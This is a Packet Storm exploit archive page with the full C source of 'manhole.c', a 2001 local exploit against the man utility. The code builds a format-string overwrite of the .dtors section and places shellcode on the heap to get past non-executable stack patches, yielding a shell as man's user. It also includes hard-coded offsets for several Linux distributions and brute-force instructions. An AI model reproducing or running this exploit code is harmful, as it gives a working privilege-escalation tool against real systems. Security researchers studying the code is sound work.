exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

manhole.c

manhole.c
Posted Mar 26, 2001
Authored by Fish Stiqz

Manhole.c is a local exploit for man. Bypasses non-executable stack patches. Tested against Slackware 7.1, Debian 2.2, SuSE Linux 6.3, 6.4, and 7.0.

tags | exploit, local
systems | linux, suse, slackware, debian
SHA-256 | b32fee5b8f0541b923bba863ebc9590b72a8761937384914e6a9a4755ba32d11

manhole.c

Change Mirror Download
/*
* manhole.c - fish stiqz <fish@analog.org> 02/26/2001
* updated on 03/12/2001
*
* Now gives man's real userid. Thanks to Paul Starzetz for the hint
* concerning POSIX saved id's.
*
* How to get the offsets:
* ======================
*
* 1) Target address:
* $ objdump -s -j .dtors /path/to/man
*
* /path/to/man: file format elf32-i386
*
* Contents of section .dtors:
* 805a8dc ffffffff 00000000 ........
* ^^^^^^^
* Add 4 to the head of the .dtors list to get 0x0805a8e0.
*
* 2) Value to write:
* (This needs to be an address to our nops)
* $ cp /path/to/man /tmp
* $ ltrace ./manhole -p /tmp/man -t 0x0805a8e0 -v 0x52525252 -e 100 -u 5 2>&1 | grep malloc
* malloc(1342) = 0x0804a420
* malloc(601) = 0x0804a968
* malloc(161) = 0x0804abc8
* malloc(686) = 0x0804ac70
* malloc(1337) = 0x081611c8
* ^^^^ ^^^^^^^^^^
* malloc(4) = 0x0815f5d8
* malloc(13) = 0x0815f5e8
* malloc(10) = 0x0815f5f8
* malloc(719) = 0x08161708
*
* The elite malloc contains our eggshell.
* Notice that this eggshell is in the heap, so it will bypass Solar
* Designer's non-executable stack patch.
*
* 3) The stack eats:
* (Brute force it. -u specifies man's userid: `id man` to get it)
* $ for i in `seq 40 140`; do echo $i; ./manhole -p /path/to/man -t 0x0805a8e0 -v 0x081611c8 -e $i -u 5; done;
* ....
* 102
* ...
* 103
* ...
* 104
* ...
* sh-2.04$ whoami
* man
* sh-2.04$
*
*
* 4) Then email me the these three values including the operating system,
* distribution type and version, and man's uid. I'll add them to my
* exploit, give you credit, and send you a copy with all the known
* offsets.
*
* l8r, have fun. fish stiqz.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

extern int errno;
extern char *optarg;

#define DEFAULT_MAN_BIN "/usr/lib/man-db/man"
#define DEFAULT_SHELLCODE scode
#define DEFAULT_UID 5
#define ENV_VAR "LANG"

#define STACK (0xc0000000-4)

/* shellcode, does a setreuid(-1, UID); setreuid(UID, UID);
and execve of /bin/sh, uids at scode[10], scode[22] & scode[24] */
#define UID "\x05"
char scode[] =
/* setreuid(-1, 5); setreuid(5,5); */
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"UID
"\x31\xc0\xb0\x46\xcd\x80\x31\xdb\x31\xc9\xb3"UID
"\xb1"UID"\x31\xc0\xb0\x46\xcd\x80"

/* anathema */
"\x89\xe6" /* movl %esp, %esi */
"\x83\xc6\x30" /* addl $0x30, %esi */
"\xb8\x2e\x62\x69\x6e" /* movl $0x6e69622e, %eax */
"\x40" /* incl %eax */
"\x89\x06" /* movl %eax, (%esi) */
"\xb8\x2e\x73\x68\x21" /* movl $0x2168732e, %eax */
"\x40" /* incl %eax */
"\x89\x46\x04" /* movl %eax, 0x04(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
;

char nop[] = "\x90";


/* architecture structure */
struct arch {
char *description;
char *filename;
char *code;
unsigned long target;
unsigned long value;
unsigned int eats;
unsigned int man_uid;
};

struct arch archlist[] =
{
{
"Slackware 7.1 - testing only (NOT DEFAULT)", "./man", scode,
0x0805a8e0, 0x081611c8, 104, 5
},
{
"Debian 2.2 (man-db_2.3.16-1.deb)", "/usr/lib/man-db/man", scode,
0x0805c53c, 0x08163128, 128, 6
},
{
/* Gerard Farras Ballabriga <gerard.farras@campus.uab.es> and
Cornelius Krasel <krasel@wpxx02.toxi.uni-wuerzburg.de> */
"SuSE Linux 6.3", "/usr/bin/man", scode,
0x0805cfb0, 0x08164cb8, 125, 13
},
{
/* miah <jjohnson@penguincomputing.com> */
"SuSE Linux 6.4", "/usr/bin/man", scode,
0x0805fe7c, 0x08167b78, 120, 13
},
{
/* Pinwheel <pinwheel@shout.net> and triton22@gmx.net */
"SuSE Linux 7.0 (man-2.3.10d69s-118.rpm)", "/usr/bin/man", scode,
0x0805fe9c, 0x08167b98, 120, 13
}

};


/*
* Error cheq'n wrapper for malloc.
*/
void *Malloc(size_t n)
{
void *tmp;

if((tmp = malloc(n)) == NULL)
{
fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}

return tmp;
}


/*
* Error cheq'n realloc.
*/
void *Realloc(void *ptr, size_t n)
{
void *tmp;

if((tmp = realloc(ptr, n)) == NULL)
{
fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}

return tmp;
}


/*
* returns the proper alignment for the man -l argument on the stack.
* - this method courtesy of Michel "MaXX" Kaempf (Thanks dawg ;-)
*/
char *create_proper_align(char *man_bin, char **execve_envs, char *fmtstr)
{
unsigned long file_addr;
unsigned int x, align;

file_addr = STACK - (strlen(man_bin) + 1);
for(x = 0; execve_envs[x] != NULL; x++)
file_addr -= strlen(execve_envs[x]) + 1;

file_addr -= strlen(fmtstr) + 1;
for(align = 0; align < (file_addr % 16); align++);

printf("caculated alignment: %d\n", align);

fmtstr = Realloc(fmtstr, (strlen(fmtstr) + 1 + align) * sizeof(char));
memset(fmtstr + strlen(fmtstr), 'X', align);

return fmtstr;
}


/*
* generates a format string that overwrites location with value.
* This format string is only appropriate for use with a printf call
* that only writes to the screen due to the fact that it uses large
* precision values which will most likely cause a segfault if that
* many bytes are written to a string via sprintf.
* the number of items on the stack before the input buffer is
* specified by stackpad (eat up the stack..)
*/

#define EAT_ME "%.8x "
#define EAT_ME_SIZE 9

char *make_printf_fmtstr(unsigned long location,
unsigned long value,
unsigned int eats,
unsigned int addrpad)
{
char *fmtbuf;
char *eatbuf;
char *addrbuf, *tmpbuf;
unsigned int i, len1 = 0;
unsigned int big, small, tmp;
unsigned int precision[2];
unsigned long dest_addr[2];

/* set up the padbuf */
eatbuf = Malloc((1 + (eats * sizeof(EAT_ME))) * sizeof(char));
eatbuf[0] = 0x0;
for(i = 0; i < (eats * sizeof(EAT_ME)); i += sizeof(EAT_ME))
{
strcat(eatbuf, EAT_ME);
len1 += EAT_ME_SIZE;
}

/* split the address into 2 two byte segments */
big = value & 0x0000ffff;
small = (value & 0xffff0000) >> 16;

if(big < small)
{
/* swap the values */
tmp = big;
big = small;
small = tmp;

dest_addr[0] = location;
dest_addr[1] = location + 2;
}
else
{
dest_addr[0] = location + 2;
dest_addr[1] = location;
}

/* write in the destination addresses with the junk values to expand.
we want to write in in addrpad times to allow for "misses" */
addrbuf = Malloc((1 + (16 * addrpad)) * sizeof(char));
tmpbuf = addrbuf;
for(i = 0; i < addrpad; i++)
{
memcpy(tmpbuf + 0, "AAAA", 4); /* junk to pad */
memcpy(tmpbuf + 4, (char *)&dest_addr[0], 4); /* 1st addr to overwrite */
memcpy(tmpbuf + 8, "AAAA", 4); /* junk to pad */
memcpy(tmpbuf + 12, (char *)&dest_addr[1], 4);/* 2nd addr to overwrite */
tmpbuf += 16;
}
len1 += (16 * addrpad);

precision[0] = small - len1;
precision[1] = big - small;

/* 17: address + junk + null */
/* 6: 2 "%hn"'s */
/* 20: length specifiers */
fmtbuf = Malloc(strlen(eatbuf) + strlen(addrbuf) + 6 + 20);
sprintf(fmtbuf,
"%s" /* the junk & address buffer */
"%s" /* the pad buffer */
"%%.%dx" /* pad out the first junk value */
"%%hn" /* write to first address */
"%%.%dx" /* pad out last junk value */
"%%hn", /* write to last address */

addrbuf,
eatbuf,
precision[0],
precision[1]);

free(addrbuf);
free(eatbuf);

return fmtbuf;

}

/*
* makes the nop + shellcode egg
*/
char *make_eggshell(char *shellcode, char *nop, int num_nop, char *name,
unsigned int man_uid)
{
char *egg, *tmp;
unsigned int size, i, nop_size;

/* replace the shellcode uids with what we want in the shellcode */
shellcode[10] = man_uid;
shellcode[22] = man_uid;
shellcode[24] = man_uid;

printf("using uid = %u as man's userid\n", man_uid);

size = strlen(shellcode) + (num_nop * strlen(nop)) + strlen(name) + 2;
egg = Malloc(size * sizeof(char));

memset(egg, 0x0, size);
strcpy(egg, name);
strcat(egg, "=");

tmp = egg + strlen(name) + 1;
nop_size = strlen(nop);
for(i = 0; i < num_nop; i++)
{
memcpy(tmp, nop, nop_size);
tmp += nop_size;
}

strcat(egg, shellcode);
return egg;
}

/*
* prints a usage message and then exits.
*/
void usage(char *p)
{
int i;

fprintf(stderr,
"manhole - local man exploit by fish stiqz <fish@analog.org>\n"
"usage: %s <architecture>\n"
"Architectures:\n", p);

for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
fprintf(stderr, " - %i: %s\n", i, archlist[i].description);

fprintf(stderr,
"usage: %s <options>\n"
"Manual Exploitation:\n"
"\t-p\t<path> path to man binary.\n"
"\t-t\t<target> address to overwrite.\n"
"\t-v\t<value> value to overwrite with.\n"
"\t-e\t<eats> number of stack eats\n"
"\t-u\t<uid> uid to regain (uid of man)\n", p);

exit(EXIT_FAILURE);
}


int main(int argc, char **argv)
{
char *fmt_str, *eggy, *shellcode, *man_bin = NULL, c;
char *execve_args[] = { NULL, "-l", NULL, NULL };
char *execve_envs[] = { NULL, NULL };
unsigned int eats = 0;
unsigned int man_uid = DEFAULT_UID;
unsigned long target = 0;
unsigned long value = 0;
int i;
struct arch *arch;

if(argc != 11 && argc != 2)
usage(argv[0]);

if(argc != 2)
{
shellcode = DEFAULT_SHELLCODE;

while((c = getopt(argc, argv, "t:v:e:p:u:h")) != EOF)
{
switch(c)
{
case 'p':
man_bin = strdup(optarg);
break;

case 't':
target = strtoul(optarg, NULL, 0);
break;

case 'v':
value = strtoul(optarg, NULL, 0);
break;

case 'e':
eats = strtoul(optarg, NULL, 0);
break;

case 'u':
man_uid = strtoul(optarg, NULL, 0);
break;

default:
usage(argv[0]);
break;
}
}
}
/* one argument - get it from the arch structure */
else
{
i = strtoul(argv[1], NULL, 0);
if(i < 0 || i >= sizeof(archlist) / sizeof(struct arch))
usage(argv[0]);

arch = &(archlist[i]);

man_bin = arch->filename;
shellcode = arch->code;
target = arch->target;
value = arch->value;
eats = arch->eats;
man_uid = arch->man_uid;
}

printf("attempting to overwrite %#lx with %#lx\n", target, value);
fflush(stdout);

if(strlen(shellcode) > 1337 - 1)
{
fprintf(stderr, "uh, shellcode is > 1336?? Go optimize it...\n");
exit(EXIT_FAILURE);
}
/* make the nop + shellcode egg */
eggy = make_eggshell(shellcode, nop, 1337 - strlen(shellcode) - 1,
ENV_VAR, man_uid);
execve_envs[0] = eggy;

/* generate the format string */
fmt_str = make_printf_fmtstr(target, value, eats, 10);
fmt_str = create_proper_align(man_bin, execve_envs, fmt_str);

execve_args[0] = man_bin;
execve_args[2] = fmt_str;

execve(execve_args[0], execve_args, execve_envs);

fprintf(stderr, "execve(%s): %s\n", execve_args[0], strerror(errno));
return EXIT_FAILURE;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close